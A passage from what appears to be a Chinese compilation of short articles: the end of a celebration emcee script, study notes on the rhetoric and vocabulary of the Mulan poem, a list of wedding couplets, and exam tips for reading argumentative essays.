夫妇二人一唱一和,真是心心相印,情深意重。

5、上面转着圈,二人把心欢,大伙说,还想不想看看,他们更加精彩的表演?

(喝交杯酒)喝了交杯酒,日子越过越富有。

五、亲朋致辞

1、生活精彩常常有,换个地方喝小酒,八方亲朋来贺喜,有请XXX台上走,为小两口送上祝福酒。

句句不拉祝福情,愿小两口美满幸福搂得紧,也祝XX中学越办越好,祝XXX身体健康,步步高升。

2、今日新居把囍贺,有请XXX唱赞歌。

祝福语,幸福绕,感谢XXX把囍道,也祝您万事如意,事业蒸蒸日上。

六、举杯共庆

住高楼犹如静坐云端,居玉宇可一览众山,幸福的日子虽在人间,潇洒的生活赛过八仙!让我们一同举杯,祝福他们新家新气象,日子越过越兴旺。(干杯)

祝愿在坐的教育精英,亲戚朋友们生活幸福,前程似锦,在龙年里一帆风顺,二龙腾飞,三羊开泰,四季发财,五福临门……

篇15:木兰诗所用的修辞手法

字词句

A.字音:机杼〔zhù〕 鞍鞯〔ān jiān〕 辔〔pèi〕头 鸣溅溅〔jiān〕 金柝〔tuò〕 阿姊〔zǐ〕 霍霍〔huò〕 可汗〔kè hán〕 贴:军帖〔tiě〕;贴〔tiē〕黄花;字帖〔tiè〕

通假字

①.对镜帖花黄:“帖”通“贴”,贴,粘贴。

古今异义①爷:古义指父亲,e.g.:卷卷有爷名;今指爷爷,即父亲的父亲。

②走:古义为跑,双兔傍地走;今义行走。

③但:古义为只,副词,e.g.:但闻黄河流水鸣溅溅;今常用作转折连词。

④郭:古义为外城,e.g.:出郭相扶将;今仅用作姓氏。

⑤户:古义为门,木兰当户织;今义人家、门第。

⑥迷离:古义为眯着眼,今义模糊而难以分辨清楚。

⑦十二:古义为虚数多,今义数词,十二。

一词多义

市:a.集市,e.g.:东市买骏马;b.买,e.g.:愿为市鞍马。(名词作动词。我愿意为此去买鞍马。)

买:a.买(东西), e.g.:东市买骏马;b.雇,租,e.g.:欲买舟而下。

愿:a愿意,e.g.:愿为市鞍马;b希望,e.g.:愿驰千里足。

词语活用

①“何”疑问代词作动词,是什么。问女何所思。

②“策”名词作动词,登记。策勋十二转。

③“骑”动词作名词,战马。但闻燕山胡骑鸣啾啾。

成语:扑朔迷离

原指难辨兔的.雄雌,比喻辨认不清是男是女。现指形容事情错综复杂,难于辨别。

特殊句式及重点句子翻译

①省略句:愿为市鞍马。(愿为‘此’市鞍马”,“此”指代父从军这件事。)

愿意为此去买鞍马。

②倒装句:问女何所思(“何所思”是“思所何”的倒装。宾语前置。)

问一声闺女想的是什么?

③万里赴戎机,关山度若飞。朔气传金柝,寒光照铁衣。将军百战死,壮士十年归: (木兰)不远万里,奔赴战场,像飞一样地跨过一道道的关,越过一座座的山。将军和壮士身经百战,历经数年,有的战死,有的活下来凯旋。

④当窗理云鬓,对镜帖花黄:当着窗户对着镜子整理头发和贴上装饰。

文章修辞

互文交错

(1)当窗理云鬓,对镜帖花黄。

(2)将军百战死,壮士十年归。

(3)东市买骏马,西市买鞍鞯,南市买辔头,北市买长鞭。

(4)开我东阁门,坐我西阁床。

(5)雄兔脚扑朔,雌兔眼迷离。

复沓

(1)旦辞爷娘去,暮宿黄河边,不闻爷娘唤女声,但闻黄河流水鸣溅溅。旦辞黄河去,暮至黑山头,不闻爷娘唤女声,但闻燕山胡骑鸣啾啾。

(2)问女何所思,问女何所忆。女亦无所思,女亦无所忆。

顶针

(1)军书十二卷,卷卷有爷名。

(2)归来见天子,天子坐明堂。

(3)出门看火伴,火伴皆惊忙。

(4)壮士十年归,归来见天子。

排比

(1)爷娘闻女来,出郭相扶将;阿姊闻妹来,当户理红妆;小弟闻姊来,磨刀霍霍向猪羊。

(2)东市买骏马,西市买鞍鞯,南市买辔头,北市买长鞭。

比喻

(1)双兔傍地走,安能辨我是雄雌?

夸张

(1)万里赴戎机,关山度若飞。

设问

(1)问女何所思,问女何所忆。女亦无所思,女亦无所忆。

对偶

(1)不闻机杼声,惟闻女叹息。

(2)朔气传金柝,寒光照铁衣。

(3)将军百战死,壮士十年归。

(4)策勋十二转,赏赐百千强。

(5)旦辞爷娘去,暮宿黄河边,不闻爷娘唤女声,但闻黄河流水鸣溅溅。旦辞黄河去,暮至黑山头,不闻爷娘唤女声,但闻燕山胡骑鸣啾啾。

反问

(1)双兔傍地走,安能辨我是雄雌?

借代

1.愿驰千里足,送儿还故乡。

篇16:结婚时所用的对联

结婚时所用的对联

一、一对青年要为四化添彩

两颗红心誓给祖国增光

二、以优异成绩双登红榜

为宏伟目标同献丹心

三、银汉双星蓝田合壁

人间巧节天上佳期

四、莺歌燕舞菊花吐艳

水笑山欢丹桂飘香

五、又红又专两情鱼水

同心同德百岁鸳鸯

六、鱼跃鸢飞滚滚春潮催四化

月圆花好溶溶喜气入人家

七、玉律鸣秋鹊桥路近

金风涤暑鱼水欢谐

八、云拥妆台和风正暖

花迎宝扇丽日方长

九、志同道合革命新伴侣

互敬互爱美满好婚姻

十、紫燕双飞迎春舞

红花并蒂朝阳开

十一、自由恋爱两朵红花并蒂开绽

计划生育一代新人茁壮成长

十二、自由恋爱双方如意

民主持家百事称心

十三、自愿自由情投意合

相亲相爱花好月圆

篇17:议论文阅读技巧和方法

议论文阅读技巧和方法

一、正确把握论点:

论点的表述:论点一般是一个肯定的判断。而且旗帜鲜明,不能模棱两可。它不能用疑问句式,不能用短语,不能用比喻等形式出现。

方法:回答中心论点时,在没有要求的情况下,应尽可能选用文段中的句子作答。

找中心论点的技巧:

①在文题,标题就是论点。如果题目为一句话,并且是肯定的判断,则题目本身就是中心论点。如果题目由偏正短语、并列短语构成,则要到文中寻找中心论点。

方式:

偏正短语,如“成功的秘诀”,..

并列短语,如“敬业与乐业”,论点则是二者的关系:“敬业乐业是人类生活的不二法门。”

②在开头,开门见山提出论点。

③在文尾,在层层深入论述的基础上,在文章的总结中推出中心论点。寻找时可从语言标志入手,一些在结尾推出中心论点的文章,论点前常有“总之”“综上所述”“所以”等标志性词语。

④在文中,在初步展开议论后顺势提出中心论点。

⑤此外,也有些文章对论点表述不很集中需要通读全文后才能概括归纳出中心论点。

留意题目、开头,分清中心论点和分论点,分清论点和结论。

二、理解开头的作用

(一)常见题型

文章开头(列举了…的事例,或引用了…,有何作用?

(二)解题技巧与答题模式:

1.开头讲故事 ( 传说 ) : ①以…故事 ( 或的奇闻趣事 ) 作为文章的事实论据 ; ②引出(证明) 论点或论题;③增强文章趣味性 , 激发读者的阅读兴趣。

2.开头引用格言警句 ( 诗词名句 ) : ①…这句格言 ( 警句 ) 引出了论证的话题 ; ②提出了本文的论点 (或论题 ) ; ③作为文章的道理论据 ; ④引起读者阅读兴趣。

3.开头引用诗词名句 : ①引出论点或论题 ;②以名句中包含的哲理作道理论据 ; ③增添了文学性,提高读者阅读兴趣。

三、明确文章所用的'论证方法及其作用

(一)常见题型

这句话运用了什么论证方法? 在文中有何作用?

(二)答题套路:

举例论证:这一段(一句)运用了举例论证的方法,举(概括事例)的事例,有力地证明了…这一观点或中心论点(如果有分论点,则写出它证明的分论点,否则写中心论点),从而使论证更具体、更有说服力。

道理论证:

这一段(一句)运用了道理论证的方法,通过引用名人名言/格言警句/权威数据(或名人逸事、奇闻趣事),证明…的观点,使论…性,吸引读者往下读)。

比喻论证:这一段(一句)运用了比喻论证的方法,将比做 , 证明了的观点,从而把抽象深奥的道理阐述得生动形象、浅显易懂。

对比论证: 这一段(一句)运用了对比论证的方法,将和加以比较,突出强调了的观点(说出了二者在某方面的区别)。

四、分析文章的论证过程

(一)常见题型

①说说本文的论证思路。

②说说某段(某几段)的论证过程。

(二) 解题技巧和答题模式: 一般有两种答法:

①先 ( 从正反两方面 ) 举出事例 , 然后得出什么结论 ( 或证明什么观点 )。

②首先提出什么观点 , 接着用事例 ( 从正反两方面 ) 进行论证 , 最后得出的结论 ( 或说明了的道理 ) 。

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